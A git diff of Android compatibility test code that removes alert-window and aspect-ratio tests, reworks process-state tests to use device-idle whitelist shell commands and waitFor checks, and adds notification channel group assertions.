index 7fa25e0..0000000
--- a/tests/app/appSdk25/src/com/android/appSdk25/Sdk25MaxAspectRatioActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.appSdk25;
-
-import android.app.Activity;
-
-public class Sdk25MaxAspectRatioActivity extends Activity {
-
-}
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 7c1ed0d..3ea386e 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -35,10 +35,13 @@
import android.os.PowerManager;
import android.os.RemoteException;
import android.test.InstrumentationTestCase;
+import android.util.Log;
import com.android.compatibility.common.util.SystemUtil;
public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
+ private static final String TAG = ActivityManagerProcessStateTest.class.getName();
+
private static final String STUB_PACKAGE_NAME = "android.app.stubs";
private static final int WAIT_TIME = 2000;
// A secondary test activity from another APK.
@@ -50,6 +53,8 @@
public static String ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT =
"com.android.cts.launcherapps.simpleapp.SimpleActivityStartService.RESULT";
+ private static final int TEMP_WHITELIST_DURATION_MS = 2000;
+
private Context mContext;
private Instrumentation mInstrumentation;
private Intent mServiceIntent;
@@ -70,11 +75,18 @@
mAllProcesses[1] = mService2Intent;
mContext.stopService(mServiceIntent);
mContext.stopService(mService2Intent);
+ removeTestAppFromWhitelists();
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
+ private void removeTestAppFromWhitelists() throws Exception {
+ executeShellCmd("cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME);
+ executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
+ }
+
+ private String executeShellCmd(String cmd) throws Exception {
+ final String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ Log.d(TAG, String.format("Output for '%s': %s", cmd, result));
+ return result;
}
/**
@@ -162,7 +174,7 @@
// Also make sure the uid state reports are as expected. Wait for active because
// there may be some intermediate states as the process comes up.
uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
// Pull out the service IBinder for a kludy hack...
@@ -206,7 +218,7 @@
// Also make sure the uid state reports are as expected.
uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
// Bring down one service, app state should remain foreground.
@@ -232,7 +244,7 @@
assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
am.getPackageImportance(SIMPLE_PACKAGE_NAME));
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
// Bring up other service, should remain foreground.
@@ -350,7 +362,8 @@
}
// Put app on temporary whitelist to see if this allows the service start.
- cmd = "cmd deviceidle tempwhitelist -d 2000 " + SIMPLE_PACKAGE_NAME;
+ cmd = String.format("cmd deviceidle tempwhitelist -d %d %s",
+ TEMP_WHITELIST_DURATION_MS, SIMPLE_PACKAGE_NAME);
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
// Try starting the service now that the app is whitelisted... should work!
@@ -359,7 +372,7 @@
// Also make sure the uid state reports are as expected.
uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// Good, now stop the service and give enough time to get off the temp whitelist.
@@ -369,7 +382,7 @@
uidWatcher.expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
- Thread.sleep(3000);
+ executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
// Going off the temp whitelist causes a spurious proc state report... that's
// not ideal, but okay.
@@ -401,7 +414,7 @@
mContext.startService(serviceIntent);
conn.waitForConnect(WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// Okay, bring down the service.
@@ -533,7 +546,7 @@
// Also make sure the uid state reports are as expected.
uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
conn2.unbind(WAIT_TIME);
@@ -551,7 +564,7 @@
mContext.startService(mServiceIntent);
conn.waitForConnect(WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// And also start the second service.
@@ -636,13 +649,13 @@
// Track the uid proc state changes from the broadcast (but not service execution)
controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "RCVR", WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
// Put app on temporary whitelist to see if this allows the service start.
- controller.tempWhitelist(2000);
+ controller.tempWhitelist(TEMP_WHITELIST_DURATION_MS);
// Being on the whitelist means the uid is now active.
controller.getUidWatcher().expect(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
@@ -657,7 +670,7 @@
conn.waitForConnect(WAIT_TIME);
// Also make sure the uid state reports are as expected.
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
// We are going to wait until 'SVC', because we may see an intermediate 'RCVR'
// proc state depending on timing.
controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
@@ -669,7 +682,7 @@
controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
- Thread.sleep(3000);
+ controller.removeFromTempWhitelist();
// Going off the temp whitelist causes a spurious proc state report... that's
// not ideal, but okay.
@@ -711,7 +724,7 @@
conn.waitForConnect(WAIT_TIME);
// Also make sure the uid state reports are as expected.
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// Okay, bring down the service.
@@ -770,7 +783,7 @@
? "TOP" : "TPSL";
// Also make sure the uid state reports are as expected.
controller.getUidWatcher().waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE,
expectedActivityState, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
@@ -785,7 +798,7 @@
// App isn't yet idle, so we should be able to start the service again.
mContext.startService(mServiceIntent);
conn.waitForConnect(WAIT_TIME);
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// And now fast-forward to the app going idle, service should be stopped.
diff --git a/tests/app/src/android/app/cts/AlertWindowsTests.java b/tests/app/src/android/app/cts/AlertWindowsTests.java
deleted file mode 100644
index e31c53b..0000000
--- a/tests/app/src/android/app/cts/AlertWindowsTests.java
+++ /dev/null
@@ -1,274 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.cts;
-
-import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE;
-import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE_PRE_26;
-import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE;
-import static android.content.Context.BIND_ALLOW_OOM_MANAGEMENT;
-import static android.content.Context.BIND_AUTO_CREATE;
-import static android.content.Context.BIND_NOT_FOREGROUND;
-
-import static com.android.app2.AlertWindowService.MSG_ADD_ALERT_WINDOW;
-import static com.android.app2.AlertWindowService.MSG_ON_ALERT_WINDOW_ADDED;
-import static com.android.app2.AlertWindowService.MSG_ON_ALERT_WINDOW_REMOVED;
-import static com.android.app2.AlertWindowService.MSG_REMOVE_ALERT_WINDOW;
-import static com.android.app2.AlertWindowService.MSG_REMOVE_ALL_ALERT_WINDOWS;
-import static com.android.app2.AlertWindowService.NOTIFICATION_MESSENGER_EXTRA;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.fail;
-
-import android.app.ActivityManager;
-import android.app.ActivityManager.RunningAppProcessInfo;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.ServiceConnection;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.os.Handler;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Message;
-import android.os.Messenger;
-import android.os.SystemClock;
-import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
-
-import com.android.app2.AlertWindowService;
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.TimeUnit;
-import java.util.function.Function;
-
-/**
- * Build: mmma -j32 cts/tests/app
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsAppTestCases android.app.cts.AlertWindowsTests
- */
-@Presubmit
-@RunWith(AndroidJUnit4.class)
-public class AlertWindowsTests {
-
- private static final String TAG = "AlertWindowsTests";
-
- private static final boolean DEBUG = false;
- private static final long WAIT_TIME_MS = 2 * 1000;
-
- private static final String SDK25_PACKAGE_NAME = "com.android.appSdk25";
-
- private Messenger mService;
- private String mServicePackageName;
- private int mServiceUid;
-
- private PackageManager mPm;
-
- private ActivityManager mAm;
- private ActivityManager mAm25; // ActivityManager created for an SDK 25 app context.
-
- private final Messenger mMessenger = new Messenger(new IncomingHandler(Looper.getMainLooper()));
- private final Object mAddedLock = new Object();
- private final Object mRemoveLock = new Object();
-
- @Before
- public void setUp() throws Exception {
- if (DEBUG) Log.e(TAG, "setUp");
- final Context context = InstrumentationRegistry.getTargetContext();
-
- mPm = context.getPackageManager();
-
- mAm = context.getSystemService(ActivityManager.class);
- mAm25 = context.createPackageContext(SDK25_PACKAGE_NAME, 0)
- .getSystemService(ActivityManager.class);
-
- final Intent intent = new Intent();
- intent.setClassName(AlertWindowService.class.getPackage().getName(),
- AlertWindowService.class.getName());
- intent.putExtra(NOTIFICATION_MESSENGER_EXTRA, mMessenger);
- // Needs to be both BIND_NOT_FOREGROUND and BIND_ALLOW_OOM_MANAGEMENT to avoid the binding
- // to this instrumentation test from increasing its importance.
- context.bindService(intent, mConnection,
- BIND_AUTO_CREATE | BIND_NOT_FOREGROUND | BIND_ALLOW_OOM_MANAGEMENT);
- synchronized (mConnection) {
- // Wait for alert window service to be connection before processing.
- mConnection.wait(WAIT_TIME_MS);
- }
- }
-
- @After
- public void tearDown() throws Exception {
- if (DEBUG) Log.e(TAG, "tearDown");
- if (mService != null) {
- mService.send(Message.obtain(null, MSG_REMOVE_ALL_ALERT_WINDOWS));
- }
- final Context context = InstrumentationRegistry.getTargetContext();
- context.unbindService(mConnection);
- mAm = null;
- }
-
- @Test
- public void testAlertWindowOomAdj() throws Exception {
- setAlertWindowPermission(true /* allow */);
-
-
- assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
-
- // TODO AM.getUidImportance() sometimes return a different value from what
- // getPackageImportance() returns... b/37950472
- // assertUidImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
-
- addAlertWindow();
- // Process importance should be increased to visible when the service has an alert window.
- assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
-
- addAlertWindow();
- assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
-
- setAlertWindowPermission(false /* allow */);
- // Process importance should no longer be visible since its alert windows are not allowed to
- // be visible.
- assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
-
- setAlertWindowPermission(true /* allow */);
- // They can show again so importance should be visible again.
- assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
-
- removeAlertWindow();
- assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
-
- removeAlertWindow();
- // Process importance should no longer be visible when the service no longer as alert
- // windows.
- assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
- }
-
- private void addAlertWindow() throws Exception {
- mService.send(Message.obtain(null, MSG_ADD_ALERT_WINDOW));
- synchronized (mAddedLock) {
- // Wait for window addition confirmation before proceeding.
- mAddedLock.wait(WAIT_TIME_MS);
- }
- }
-
- private void removeAlertWindow() throws Exception {
- mService.send(Message.obtain(null, MSG_REMOVE_ALERT_WINDOW));
- synchronized (mRemoveLock) {
- // Wait for window removal confirmation before proceeding.
- mRemoveLock.wait(WAIT_TIME_MS);
- }
- }
-
- private void setAlertWindowPermission(boolean allow) throws Exception {
- final String cmd = "appops set " + mServicePackageName
- + " android:system_alert_window " + (allow ? "allow" : "deny");
- SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), cmd);
- }
-
- private void assertImportance(Function<ActivityManager, Integer> apiCaller,
- int expectedForO, int expectedForPreO) throws Exception {
- final long TIMEOUT = SystemClock.uptimeMillis() + TimeUnit.SECONDS.toMillis(30);
- int actual;
-
- do {
- // TODO: We should try to use ActivityManagerTest.UidImportanceListener here to listen
- // for changes in the uid importance. However, the way it is currently structured
- // doesn't really work for this use case right now...
- Thread.sleep(500);
- actual = apiCaller.apply(mAm);
- } while (actual != expectedForO && (SystemClock.uptimeMillis() < TIMEOUT));
-
- assertEquals(expectedForO, actual);
-
- // Check the result for pre-O apps.
- assertEquals(expectedForPreO, (int) apiCaller.apply(mAm25));
- }
-
- /**
- * Make sure {@link ActivityManager#getPackageImportance} returns the expected value.
- */
- private void assertPackageImportance(int expectedForO, int expectedForPreO) throws Exception {
- assertImportance(am -> am.getPackageImportance(mServicePackageName),
- expectedForO, expectedForPreO);
- }
-
- /**
- * Make sure {@link ActivityManager#getUidImportance(int)} returns the expected value.
- */
- private void assertUidImportance(int expectedForO, int expectedForPreO) throws Exception {
- assertImportance(am -> am.getUidImportance(mServiceUid),
- expectedForO, expectedForPreO);
- }
-
- private final ServiceConnection mConnection = new ServiceConnection() {
- @Override
- public void onServiceConnected(ComponentName name, IBinder service) {
- if (DEBUG) Log.e(TAG, "onServiceConnected");
- mService = new Messenger(service);
- mServicePackageName = name.getPackageName();
- try {
- mServiceUid = mPm.getPackageUid(mServicePackageName, 0);
- } catch (NameNotFoundException e) {
- throw new RuntimeException("getPackageUid() failed.", e);
- }
- synchronized (mConnection) {
- notifyAll();
- }
- }
-
- @Override
- public void onServiceDisconnected(ComponentName name) {
- if (DEBUG) Log.e(TAG, "onServiceDisconnected");
- mService = null;
- mServicePackageName = null;
- mServiceUid = 0;
- }
- };
-
- private class IncomingHandler extends Handler {
-
- IncomingHandler(Looper looper) {
- super(looper);
- }
-
- @Override
- public void handleMessage(Message msg) {
- switch (msg.what) {
- case MSG_ON_ALERT_WINDOW_ADDED:
- synchronized (mAddedLock) {
- if (DEBUG) Log.e(TAG, "MSG_ON_ALERT_WINDOW_ADDED");
- mAddedLock.notifyAll();
- }
- break;
- case MSG_ON_ALERT_WINDOW_REMOVED:
- synchronized (mRemoveLock) {
- if (DEBUG) Log.e(TAG, "MSG_ON_ALERT_WINDOW_REMOVED");
- mRemoveLock.notifyAll();
- }
- break;
- default:
- super.handleMessage(msg);
- }
- }
- }
-}
diff --git a/tests/app/src/android/app/cts/AspectRatioTests.java b/tests/app/src/android/app/cts/AspectRatioTests.java
deleted file mode 100644
index fa6154e..0000000
--- a/tests/app/src/android/app/cts/AspectRatioTests.java
+++ /dev/null
@@ -1,256 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.cts;
-
-import android.app.stubs.MetaDataMaxAspectRatioActivity;
-import com.android.appSdk25.Sdk25MaxAspectRatioActivity;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Ignore;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import android.app.Activity;
-import android.app.stubs.MaxAspectRatioActivity;
-import android.app.stubs.MaxAspectRatioResizeableActivity;
-import android.app.stubs.MaxAspectRatioUnsetActivity;
-import android.content.Context;
-import android.content.res.Configuration;
-import android.graphics.Point;
-import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.DisplayMetrics;
-import android.view.Display;
-import android.view.View;
-import android.view.WindowManager;
-
-import com.android.compatibility.common.util.PollingCheck;
-
-import static android.content.Context.WINDOW_SERVICE;
-import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
-import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
-import static android.content.pm.PackageManager.FEATURE_WATCH;
-import static org.junit.Assert.fail;
-
-/**
- * Build: mmma -j32 cts/tests/app
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsAppTestCases android.app.cts.AspectRatioTests
- */
-@RunWith(AndroidJUnit4.class)
-public class AspectRatioTests {
- private static final String TAG = "AspectRatioTests";
-
- // The max. aspect ratio the test activities are using.
- private static final float MAX_ASPECT_RATIO = 1.0f;
-
- // Max supported aspect ratio for pre-O apps.
- private static final float MAX_PRE_O_ASPECT_RATIO = 1.86f;
-
- // The minimum supported device aspect ratio.
- private static final float MIN_DEVICE_ASPECT_RATIO = 1.333f;
-
- // The minimum supported device aspect ratio for watches.
- private static final float MIN_WATCH_DEVICE_ASPECT_RATIO = 1.0f;
-
- @Rule
- public ActivityTestRule<MaxAspectRatioActivity> mMaxAspectRatioActivity =
- new ActivityTestRule<>(MaxAspectRatioActivity.class,
- false /* initialTouchMode */, false /* launchActivity */);
-
- @Rule
- public ActivityTestRule<MaxAspectRatioResizeableActivity> mMaxAspectRatioResizeableActivity =
- new ActivityTestRule<>(MaxAspectRatioResizeableActivity.class,
- false /* initialTouchMode */, false /* launchActivity */);
-
- @Rule
- public ActivityTestRule<MetaDataMaxAspectRatioActivity> mMetaDataMaxAspectRatioActivity =
- new ActivityTestRule<>(MetaDataMaxAspectRatioActivity.class,
- false /* initialTouchMode */, false /* launchActivity */);
-
- @Rule
- public ActivityTestRule<MaxAspectRatioUnsetActivity> mMaxAspectRatioUnsetActivity =
- new ActivityTestRule<>(MaxAspectRatioUnsetActivity.class,
- false /* initialTouchMode */, false /* launchActivity */);
-
- // TODO: Can't use this to start an activity in a different process...sigh.
- @Rule
- public ActivityTestRule<Sdk25MaxAspectRatioActivity> mSdk25MaxAspectRatioActivity =
- new ActivityTestRule<>(Sdk25MaxAspectRatioActivity.class, "com.android.appSdk25",
- 268435456, false /* initialTouchMode */, false /* launchActivity */);
-
- private interface AssertAspectRatioCallback {
- void assertAspectRatio(float actual);
- }
-
- @Before
- public void setUp() throws Exception {
-
- }
-
- @After
- public void tearDown() throws Exception {
- finishActivity(mMaxAspectRatioActivity);
- finishActivity(mMaxAspectRatioResizeableActivity);
- finishActivity(mSdk25MaxAspectRatioActivity);
- finishActivity(mMaxAspectRatioUnsetActivity);
- finishActivity(mMetaDataMaxAspectRatioActivity);
- }
-
- @Test
- @Presubmit
- public void testDeviceAspectRatio() throws Exception {
- final Context context = InstrumentationRegistry.getInstrumentation().getContext();
- final WindowManager wm = (WindowManager) context.getSystemService(WINDOW_SERVICE);
- final Display display = wm.getDefaultDisplay();
- final DisplayMetrics metrics = new DisplayMetrics();
- display.getRealMetrics(metrics);
-
- float longSide = Math.max(metrics.widthPixels, metrics.heightPixels);
- float shortSide = Math.min(metrics.widthPixels, metrics.heightPixels);
- float deviceAspectRatio = longSide / shortSide;
- float expectedMinAspectRatio = context.getPackageManager().hasSystemFeature(FEATURE_WATCH)
- ? MIN_WATCH_DEVICE_ASPECT_RATIO : MIN_DEVICE_ASPECT_RATIO;
-
- if (deviceAspectRatio < expectedMinAspectRatio) {
- fail("deviceAspectRatio=" + deviceAspectRatio
- + " is less than expectedMinAspectRatio=" + expectedMinAspectRatio);
- }
- }
-
- @Test
- @Presubmit
- public void testMaxAspectRatio() throws Exception {
- runTest(launchActivity(mMaxAspectRatioActivity),
- actual -> {
- if (MAX_ASPECT_RATIO >= actual) return;
- fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
- });
- }
-
- @Test
- @Presubmit
- public void testMetaDataMaxAspectRatio() throws Exception {
- runTest(launchActivity(mMetaDataMaxAspectRatioActivity),
- actual -> {
- if (MAX_ASPECT_RATIO >= actual) return;
- fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
- });
- }
-
- @Test
- // TODO: Currently 10% flaky so not part of pre-submit for now
- public void testMaxAspectRatioResizeableActivity() throws Exception {
- final Context context = InstrumentationRegistry.getInstrumentation().getContext();
- final float expected = getAspectRatio(context);
- final Activity testActivity = launchActivity(mMaxAspectRatioResizeableActivity);
- PollingCheck.waitFor(testActivity::hasWindowFocus);
-
- Display testDisplay = testActivity.findViewById(android.R.id.content).getDisplay();
-
- // TODO(b/69982434): Fix DisplayManager NPE when getting display from Instrumentation
- // context, then can use DisplayManager to get the aspect ratio of the correct display.
- if (testDisplay.getDisplayId() != Display.DEFAULT_DISPLAY) {
- return;
- }
-
- // Since this activity is resizeable, its aspect ratio shouldn't be less than the device's
- runTest(testActivity,
- actual -> {
- if (aspectRatioEqual(expected, actual) || expected < actual) return;
- fail("actual=" + actual + " is less than expected=" + expected);
- });
- }
-
- @Test
- @Presubmit
- public void testMaxAspectRatioUnsetActivity() throws Exception {
- final Context context = InstrumentationRegistry.getInstrumentation().getContext();
- final float expected = getAspectRatio(context);
-
- // Since this activity didn't set an aspect ratio, its aspect ratio shouldn't be less than
- // the device's
- runTest(launchActivity(mMaxAspectRatioUnsetActivity),
- actual -> {
- if (aspectRatioEqual(expected, actual) || expected < actual) return;
- fail("actual=" + actual + " is less than expected=" + expected);
- });
- }
-
- @Test
- // TODO(b/35810513): Can't use rule to start an activity in a different process. Need a
- // different way to make this test happen...host side? Sigh...
- @Ignore
- public void testMaxAspectRatioPreOActivity() throws Exception {
- runTest(launchActivity(mSdk25MaxAspectRatioActivity),
- actual -> {
- if (MAX_PRE_O_ASPECT_RATIO >= actual) return;
- fail("actual=" + actual + " is greater than expected=" + MAX_PRE_O_ASPECT_RATIO);
- });
- }
-
- private void runTest(Activity activity, AssertAspectRatioCallback callback) {
- callback.assertAspectRatio(getAspectRatio(activity));
-
- // TODO(b/35810513): All this rotation stuff doesn't really work yet. Need to make sure
- // context is updated correctly here. Also, what does it mean to be holding a reference to
- // this activity if changing the orientation will cause a relaunch?
-// activity.setRequestedOrientation(SCREEN_ORIENTATION_LANDSCAPE);
-// waitForIdle();
-// callback.assertAspectRatio(getAspectRatio(activity));
-//
-// activity.setRequestedOrientation(SCREEN_ORIENTATION_PORTRAIT);
-// waitForIdle();
-// callback.assertAspectRatio(getAspectRatio(activity));
- }
-
- private float getAspectRatio(Context context) {
- final Display display =
- ((WindowManager) context.getSystemService(WINDOW_SERVICE)).getDefaultDisplay();
- final Point size = new Point();
- display.getSize(size);
- final float longSide = Math.max(size.x, size.y);
- final float shortSide = Math.min(size.x, size.y);
- return longSide / shortSide;
- }
-
- private Activity launchActivity(ActivityTestRule activityRule) {
- final Activity activity = activityRule.launchActivity(null);
- waitForIdle();
- return activity;
- }
-
- private void finishActivity(ActivityTestRule activityRule) {
- final Activity activity = activityRule.getActivity();
- if (activity != null) {
- activity.finish();
- }
- }
-
- private void waitForIdle() {
- InstrumentationRegistry.getInstrumentation().waitForIdleSync();
- }
-
- private static boolean aspectRatioEqual(float a, float b) {
- // Aspect ratios are considered equal if they ware within to significant digits.
- float diff = Math.abs(a - b);
- return diff < 0.01f;
- }
-}
diff --git a/tests/app/src/android/app/cts/NotificationChannelGroupTest.java b/tests/app/src/android/app/cts/NotificationChannelGroupTest.java
index 162815f..7931a1f 100644
--- a/tests/app/src/android/app/cts/NotificationChannelGroupTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelGroupTest.java
@@ -37,10 +37,21 @@
NotificationChannelGroup group = new NotificationChannelGroup("1", "one");
assertEquals("1", group.getId());
assertEquals("one", group.getName());
+ assertFalse(group.isBlocked());
+ assertNull(group.getDescription());
+ assertEquals(0, group.getChannels().size());
+ }
+
+ public void testIsBlocked() {
+ NotificationChannelGroup group = new NotificationChannelGroup("1", "one");
+ group.setBlocked(true);
+ assertTrue(group.isBlocked());
}
public void testWriteToParcel() {
NotificationChannelGroup group = new NotificationChannelGroup("1", "one");
+ group.setBlocked(true);
+ group.setDescription("bananas!");
Parcel parcel = Parcel.obtain();
group.writeToParcel(parcel, 0);
parcel.setDataPosition(0);
@@ -51,8 +62,12 @@
public void testClone() {
NotificationChannelGroup group = new NotificationChannelGroup("1", "one");
+ group.setBlocked(true);
+ group.setDescription("bananas");
NotificationChannelGroup cloned = group.clone();
assertEquals("1", cloned.getId());
assertEquals("one", cloned.getName());
+ assertTrue(cloned.isBlocked());
+ assertEquals("bananas", cloned.getDescription());
}
}
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index b6077ca..7b716ac 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -80,6 +80,12 @@
}
mNotificationManager.deleteNotificationChannel(nc.getId());
}
+
+ List<NotificationChannelGroup> groups = mNotificationManager.getNotificationChannelGroups();
+ // Delete all groups.
+ for (NotificationChannelGroup ncg : groups) {
+ mNotificationManager.deleteNotificationChannelGroup(ncg.getId());
+ }
}
public void testCreateChannelGroup() throws Exception {
@@ -88,18 +94,43 @@
new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
